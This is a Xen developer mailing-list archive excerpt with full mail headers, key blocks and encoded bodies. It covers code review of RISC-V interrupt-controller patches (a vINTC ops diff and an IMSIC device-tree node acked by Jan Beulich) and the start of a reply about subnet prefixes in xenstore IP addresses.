> @@ -17,6 +17,7 @@ enum intc_variant {
>  struct cpu_user_regs;
>  struct irq_desc;
>  struct kernel_info;
> +struct vcpu;
>  
>  struct intc_info {
>      enum intc_variant hw_variant;
> @@ -53,8 +54,19 @@ struct vintc_init_ops {
>      int (*make_domu_dt_node)(struct kernel_info *kinfo);
>  };
>  
> +struct vintc_ops {
> +    /* Initialize some vINTC-related stuff for a vCPU */
> +    int (*vcpu_init)(struct vcpu *v);
> +
> +    /* Deinitialize some vINTC-related stuff for a vCPU */
> +    void (*vcpu_deinit)(struct vcpu *v);
> +};
> +
>  struct vintc {
> +    /* Used during domain build only; dropped afterwards. */
>      const struct vintc_init_ops *init_ops;

... "dropped" in the comment is misleading - there's nothing being dropped
here, as that's technically impossible. Iirc you don't even poison the
field once domain build is finished.

Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 22 07:43:09 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 07:43:09 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368183.1617668 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmRbg-0003ec-3Y; Wed, 22 Jul 2026 07:43:08 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368183.1617668; Wed, 22 Jul 2026 07:43:08 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmRbf-0003eV-WD; Wed, 22 Jul 2026 07:43:08 +0000
Received: by outflank-mailman (input) for mailman id 1368183;
 Wed, 22 Jul 2026 07:43:07 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wmRbe-0003eP-Uz
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 07:43:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmRbe-00FO5x-4u
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 09:43:06 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a607483-e002-0a2a0a5209dd-0a2a4508b94a-16
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 09:43:06 +0200
Received: from [209.85.128.41] (helo=mail-wm1-f41.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a607489-f659-0a2a45080019-d1558029cdf2-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 09:43:06 +0200
Received: by mail-wm1-f41.google.com with SMTP id
 5b1f17b1804b1-493f75f7172so94755525e9.1
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 00:43:06 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4956b5c2108sm60384735e9.2.2026.07.22.00.43.04
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 22 Jul 2026 00:43:05 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784706185; x=1785310985; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=+i4quTu+VWE9KVRaSLNUD8FGgjagUdRi+DlG+X/VefU=;
        b=Q8eSFqczBmibP4ZhpZYjD7G0y/54jWV3chvqVntYn7mvDn12acpl9w1L6/ctQDN7+v
         9UP9Oz93ZNA2S4UTpwtWwTYfWGXfZjMHmFa/JozRD9IQMH/XwxCUAnFl1zHNRldB22X8
         xUHk9LjM6b8MgzQ5hN+z8CA+3cNoUOXrTTziH9+eAtel03ktrFHiErtPh5EOVLsfNdKc
         XHTbeltWGqOG4LzSfBJN22Ln3YDCWZ7bxz4PF8MuXsA5UD6vzkH4fClYoSkDFiYlZiZe
         ccC+N/58HuhLy3EpbneJEcgfCWN6E7GWCMOc/3eBDyi6qHVn/uCPN4SYyK1gmdiu5/Wc
         Fk4Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784706185; x=1785310985;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=+i4quTu+VWE9KVRaSLNUD8FGgjagUdRi+DlG+X/VefU=;
        b=SYqWnHYXcNnzL9gWgscMLkYZKfCXN+Be9yxD+JlDaNlTuJIktIpOyClSToeDdHqyIk
         I9y5vSo+viwHb7LNZXz2qkuNBwPOh3JTjX8Nuy+w+KlKBxAbH8VMwsVJLK+M8s3ATDQa
         68RXFFw4e5XVp3Jen6wNM0c7XTohE91T7GYnCYnIC3FILp+8V3j7K7k85U/Cda/EIWc6
         IRq3gO8HMzSe+oU+w82vKSbkcjLHq3zvvkjrYFkkYL5gjtgbE/egT5HZ78DAawl8Eyyk
         FVYZIVYYvFij033LmD1JF2SIhCoyPeQzH7JMa+G6zvdmKc7AZrg7gkEn8o9i3PAZap7q
         oaAA==
X-Forwarded-Encrypted: i=1; AHgh+RrIAZf/LcFyrB8wBFSgSd2AAsAh1WUaOMkH1uoc0vmnnhpCiSWd5zrmGMUTDlmW43arQuLOKXKeFgs=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwQ/4PbuL5npVAiRVj8Ijj8SBxV0rQHx8UR1CwY8So5smdmMxZB
	YNLeJPTFHakVA4rU0WIM5EofvnP4fG/hGZV0O6FHy4hhjDSYSDZbrT9v8iuTGuIQfA==
X-Gm-Gg: AR+sD12PikkL6IBu9ueKeDxkrLRlQBzqGKlY0xsS/AHgaUySE917rsiVPCYG/B64uTs
	L4nlhABJVP/PKbXwz5JDo1ZHkm2NMcqrYoAGaCBsEq1MEolMknyFZGgUePCS2YniZVI/IKr/XYS
	s983c1Mv7nZrhZCSlCVmbPWr7slZT6dfCRzjn/n1UzYIPFKDXnteeK5RVPyg+C1CjM4hMv7JJvF
	xDe0OAfCqU4Br56Bpi/qXr0UBygGZa0lXYh9+BH5K9Zp6pXb2bnl28jm9gVyTA/KarGYon1EUPF
	qz9GGtAINhEXDx4HoqlUKwKEB5hJhmvtVhttQ7CdxmB9eAwFF0+L1kKgukiUx++rlvK8Ys1yfkX
	shwJ5zBxOJ+FE8+rgojm0tTMGPnepivi4anjbSZt4ohkstKtfAjwodSam0oXUlXTy3898IfVpgN
	S0dc9boJoCci8cnSj70a+/PN8eV9cIrN/+ncsXDcoh3ctHtn2IlZzTikEesXDgd1ehrw==
X-Received: by 2002:a05:600c:8b16:b0:495:69eb:27fe with SMTP id 5b1f17b1804b1-49569eb28a0mr43797205e9.11.1784706185516;
        Wed, 22 Jul 2026 00:43:05 -0700 (PDT)
Message-ID: <681f259c-9b64-4240-8d97-8771da6eea41@suse.com>
Date: Wed, 22 Jul 2026 09:43:03 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 16/23] xen/riscv: generate IMSIC DT node for guest
 domains
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
 <332481b9d8e17126a1ca9b52c6e7f0fefb34ca1b.1784559209.git.oleksii.kurochko@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <332481b9d8e17126a1ca9b52c6e7f0fefb34ca1b.1784559209.git.oleksii.kurochko@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c1860d/1784706186-CF55C87B-4221A894/10/73395122804
X-purgate-type: spam
X-purgate-size: 911

On 20.07.2026 17:59, Oleksii Kurochko wrote:
> Guests using the IMSIC interrupt controller require a corresponding
> Device Tree description.
> 
> Add support for generating an IMSIC node when building the guest DT.
> This allows guests to discover and use the IMSIC interrupt controller.
> 
> The value choosen for GUEST_IMSIC_S_BASE is an address which is typically
> used for IMSIC and QEMU.
> 
> DT-building functions are marked __init because domain creation happens at
> boot time, before the init sections are freed. In a typical deployment
> libxl creates the interrupt controller node in userspace and hands the
> complete FDT to Xen, so these functions are only called during early
> domain construction.
> 
> Co-developed-by: Romain Caritey <Romain.Caritey@microchip.com>
> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

Acked-by: Jan Beulich <jbeulich@suse.com>



From xen-devel-bounces@lists.xenproject.org Wed Jul 22 08:49:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 08:49:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368228.1617676 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmSde-0007cd-AM; Wed, 22 Jul 2026 08:49:14 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368228.1617676; Wed, 22 Jul 2026 08:49:14 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmSde-0007cV-5j; Wed, 22 Jul 2026 08:49:14 +0000
Received: by outflank-mailman (input) for mailman id 1368228;
 Wed, 22 Jul 2026 08:49:13 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wmSdd-0007cP-2c
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 08:49:13 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmSdc-00HSbC-1i
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 10:49:12 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a6083fb-5cb7-0a2a0a5109dd-0a2a4505d752-46
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 10:49:11 +0200
Received: from [209.85.218.52] (helo=mail-ej1-f52.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a608407-4cb1-0a2a45050019-d155da34ad85-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 10:49:11 +0200
Received: by mail-ej1-f52.google.com with SMTP id
 a640c23a62f3a-c15ba3a2b4bso1504399066b.1
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 01:49:11 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 a640c23a62f3a-c1c32ebc828sm72130466b.43.2026.07.22.01.49.10
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 22 Jul 2026 01:49:10 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784710151; x=1785314951; darn=lists.xenproject.org;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=guiugp4CU4mXkNvqK6NGHYrsjl7iGfUW4L76kWssV4w=;
        b=OnJ4+fblYLzJPpJWXIohnbInC+IvuaVjsOfs455hcDVP1y/dBM1l5U3acsfWsPqpRc
         W4u2nq2zWuivzjHXh2LenBjwr/3iModWKUBat06sbHQi/oLfiYybI5oVwJjax3EozzGV
         7REyWqS1xmhAMnQXKdIaJkYuMUNGEl65s8dqnxUyT1qp/sFHTIhnvHCucuC/yCmeAl3S
         X0Ur5eJuSkmINs82vscCznwCfzYAK8VGZrvSC5/k11Xn9eWNLIP210rnH/l6jYBSrOV3
         1Sy0qCrjJl0gSn/XjKUzBXbSMOFr6J3uyIwV7Xg0tG1GjI+moEovUMzFsR9G4u4NWqyL
         4juA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784710151; x=1785314951;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=guiugp4CU4mXkNvqK6NGHYrsjl7iGfUW4L76kWssV4w=;
        b=cnmmSDmDWy4Gwno/hczXHsn78pbT9EAUzqqW6SKzWOsxfNpC0rE8IajloBYv84cyFn
         TFuULiFoa2eM2NMzd0BAI2JHHpgY0TFn7JjooSqc2gA5d3xSSVNikUvWUnUJTRBUtAYg
         FZaBfAb3dhQR3GSd5G1OPKt0lGPqIojsstBC5p2wTnduoBcokcrrreR8oIkNHHb0c+JA
         mnlmrqM/E8EaGavoU8havBXvAxmUaN43bn2i9HFF77YRn8rd3mMbDmCVckMOeHlkGvk1
         rT1E9uERN+Bjzm0hyEsTbx/B7+C0XpjybCz0sauQUBJqL2yrvCu+2ZZB4dYW7L2t6Hqo
         h3Rw==
X-Forwarded-Encrypted: i=1; AHgh+RqLgeA8yv7Bwg1cTvQJaCmVKmwDYaSy2F6wNjNH1jipwonMs05wE8rcfgcYP/lfxwovgQNOX5Dp7MA=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yyn0ShN64+jopztSpCQ0im1k6hYUz709xCYHvqxtmHI5sc7ixll
	Owhr9RMu3qLDZqGL5CoRdFzBUx6pSl1SLAmFafXiAS5tdKa7w3gr/FrTXnbZNiAZaLo=
X-Gm-Gg: AR+sD13So7jtQRWAajYIno6p6vR1cES6jNqdlt4k+yqzwbEeq2CVHzGI4TNLAnAkcZC
	+rN6Yp/63oeVxLYb91G1Ftkatvb0PKjlOF+3Gdm2kvDev+Ve4DMqKo5M5EOE1MHs7K0XMHxl/Qk
	wz51EsVzICu6BONGhkpx5EiIFm/hkTmLJ39K1Uc19rZ8P3YEEOLYANXgmptILdwA0bRRNgwPFcb
	unUCpU2JjTi3qBQQD3qXFnsTlttdKbg2NpsDtmzDQ1Ig8+WAs4zW1vDtDtCIUFmk+Y++SfyKd2O
	A0JfluARU6S+LzkM6wYXJrk5CHkoXveOOj8dP8BDz+B+n4UipL/KSwBO4rRUYJRFhRrcwKcha9W
	jRykYDCuD5wyAh6vqg2PHGtGvedsdVFoBoZCqVkjd+7pT7kdDC/PEAz9lJYIpGc4b6/ZHr8bwO3
	JP8Prw0qGP0miix9+nra3s+xuCL1sEyCir7h8LVpK88A+1DbnhLK0HVRQ/P0pv2h3T8tcwcKdRs
	R0y3wq0e9W9amoljVXEdLk6kf5S1DFX
X-Received: by 2002:a17:906:ef03:b0:c16:c65:56b5 with SMTP id a640c23a62f3a-c16b46e5059mr1004953566b.24.1784710151406;
        Wed, 22 Jul 2026 01:49:11 -0700 (PDT)
Message-ID: <acf12262-c1ee-4989-a702-d8fa7e8659ec@suse.com>
Date: Wed, 22 Jul 2026 10:49:09 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] xenstore-paths: Allow subnet prefix in IP address
To: Jan Beulich <jbeulich@suse.com>, Tu Dinh <ngoc-tu.dinh@vates.tech>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <1780912172.8631fc262581453bbf619ec5b2062170.19ea6a32f2f000701b@vates.tech>
 <681d6703-6310-4ad0-a270-b5e677ee5811@suse.com>
Content-Language: en-US
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i1TXkH09XSSI8mEQ/ouNcMvIJ
 NwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/BBLUVbDa4+gmzDC9ezlZkTZG2t14zWPvx
 XP3FAp2pkW0xqG7/377qptDmrk42GlSKN4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEB
 AAHNH0p1ZXJnZW4gR3Jvc3MgPGpncm9zc0BzdXNlLmNvbT7CwHkEEwECACMFAlOMcK8CGwMH
 CwkIBwMCAQYVCAIJCgsEFgIDAQIeAQIXgAAKCRCw3p3WKL8TL8eZB/9G0juS/kDY9LhEXseh
 mE9U+iA1VsLhgDqVbsOtZ/S14LRFHczNd/Lqkn7souCSoyWsBs3/wO+OjPvxf7m+Ef+sMtr0
 G5lCWEWa9wa0IXx5HRPW/ScL+e4AVUbL7rurYMfwCzco+7TfjhMEOkC+va5gzi1KrErgNRHH
 kg3PhlnRY0Udyqx++UYkAsN4TQuEhNN32MvN0Np3WlBJOgKcuXpIElmMM5f1BBzJSKBkW0Jc
 Wy3h2Wy912vHKpPV/Xv7ZwVJ27v7KcuZcErtptDevAljxJtE7aJG6WiBzm+v9EswyWxwMCIO
 RoVBYuiocc51872tRGywc03xaQydB+9R7BHPzsBNBFOMcBYBCADLMfoA44MwGOB9YT1V4KCy
 vAfd7E0BTfaAurbG+Olacciz3yd09QOmejFZC6AnoykydyvTFLAWYcSCdISMr88COmmCbJzn
 sHAogjexXiif6ANUUlHpjxlHCCcELmZUzomNDnEOTxZFeWMTFF9Rf2k2F0Tl4E5kmsNGgtSa
 aMO0rNZoOEiD/7UfPP3dfh8JCQ1VtUUsQtT1sxos8Eb/HmriJhnaTZ7Hp3jtgTVkV0ybpgFg
 w6WMaRkrBh17mV0z2ajjmabB7SJxcouSkR0hcpNl4oM74d2/VqoW4BxxxOD1FcNCObCELfIS
 auZx+XT6s+CE7Qi/c44ibBMR7hyjdzWbABEBAAHCwF8EGAECAAkFAlOMcBYCGwwACgkQsN6d
 1ii/Ey9D+Af/WFr3q+bg/8v5tCknCtn92d5lyYTBNt7xgWzDZX8G6/pngzKyWfedArllp0Pn
 fgIXtMNV+3t8Li1Tg843EXkP7+2+CQ98MB8XvvPLYAfW8nNDV85TyVgWlldNcgdv7nn1Sq8g
 HwB2BHdIAkYce3hEoDQXt/mKlgEGsLpzJcnLKimtPXQQy9TxUaLBe9PInPd+Ohix0XOlY+Uk
 QFEx50Ki3rSDl2Zt2tnkNYKUCvTJq7jvOlaPd6d/W0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <681d6703-6310-4ad0-a270-b5e677ee5811@suse.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------5vQnBHwA5WlIS2UDTwBA4X2p"
X-purgate-ID: tlsNG-c201ff/1784710151-F60AA2A1-B9C56F02/0/0
X-purgate-type: clean
X-purgate-size: 10921

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------5vQnBHwA5WlIS2UDTwBA4X2p
Content-Type: multipart/mixed; boundary="------------zBJG9eUZMNy1rcSm0mkbPhvd";
 protected-headers="v1"
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
To: Jan Beulich <jbeulich@suse.com>, Tu Dinh <ngoc-tu.dinh@vates.tech>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
Message-ID: <acf12262-c1ee-4989-a702-d8fa7e8659ec@suse.com>
Subject: Re: [PATCH] xenstore-paths: Allow subnet prefix in IP address
References: <1780912172.8631fc262581453bbf619ec5b2062170.19ea6a32f2f000701b@vates.tech>
 <681d6703-6310-4ad0-a270-b5e677ee5811@suse.com>
In-Reply-To: <681d6703-6310-4ad0-a270-b5e677ee5811@suse.com>
Autocrypt-Gossip: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy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HRyXQ
 dUm5AoL51XZljkCqNwrADGkTvkwsWSvCSQQYEQIACQUCWTecRAIbDAAKCRCgNK6L+3cgfuef
 AJ9wlZQNQUp0KwEf8Tl37RmcxCL4bQCcC5alCSMzUBJ5DBIcR4BY+CyQFAs=

--------------zBJG9eUZMNy1rcSm0mkbPhvd
Content-Type: multipart/mixed; boundary="------------Q7ZtxvjGvkgCRji5bXI3iME0"

--------------Q7ZtxvjGvkgCRji5bXI3iME0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMjIuMDcuMjYgMDk6MTQsIEphbiBCZXVsaWNoIHdyb3RlOg0KPiBPbiAwOC4wNi4yMDI2
IDExOjQ5LCBUdSBEaW5oIHdyb3RlOg0KPj4gSW4gdGhlIGd1ZXN0LXJlcG9ydGVkIElQIGFk
ZHJlc3MgaW4geGVuc3RvcmUsIGl0J3MgdXNlZnVsIHRvIGtub3cgd2hpY2gNCj4+IHN1Ym5l
dCBpdCBiZWxvbmdzIHRvLg0KPj4NCj4+IEFkZCBhIHNwZWNpZmljYXRpb24gZm9yIHRoZSBJ
UHY2IGhvc3QgYWRkcmVzcy9wcmVmaXggZm9ybWF0IHNwZWNpZmllZCBieQ0KPj4gUkZDIDQy
OTEuDQo+Pg0KPj4gRm9yIHRoZSBJUHY0IGFkZHJlc3MvcHJlZml4IG5vdGF0aW9uLCBhcyB0
aGVyZSBzZWVtcyB0byBiZSBubyBlcXVpdmFsZW50DQo+PiBSRkMgc3BlY2lmeWluZyB0aGUg
aG9zdCBhZGRyZXNzL3ByZWZpeCBmb3JtYXQsIHNwZWNpZnkgaXQgb3Vyc2VsdmVzLg0KPj4N
Cj4+IFNpZ25lZC1vZmYtYnk6IFR1IERpbmggPG5nb2MtdHUuZGluaEB2YXRlcy50ZWNoPg0K
PiANCj4gQnR3LCBldmVuIGlmIGdldF9tYWludGFpbmVyLnBsIGRvZXNuJ3Qgc2F5IHNvLCBp
dCB3b3VsZCBoZWxwIHRvIENjIH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o+PiAgIEFkZGl0aW9u
YWwgVEFHUyBtYXkgZm9sbG93IGFzIGEgY29tbWEgc2VwYXJhdGVkIHNldCBvZiB0aGUgZm9s
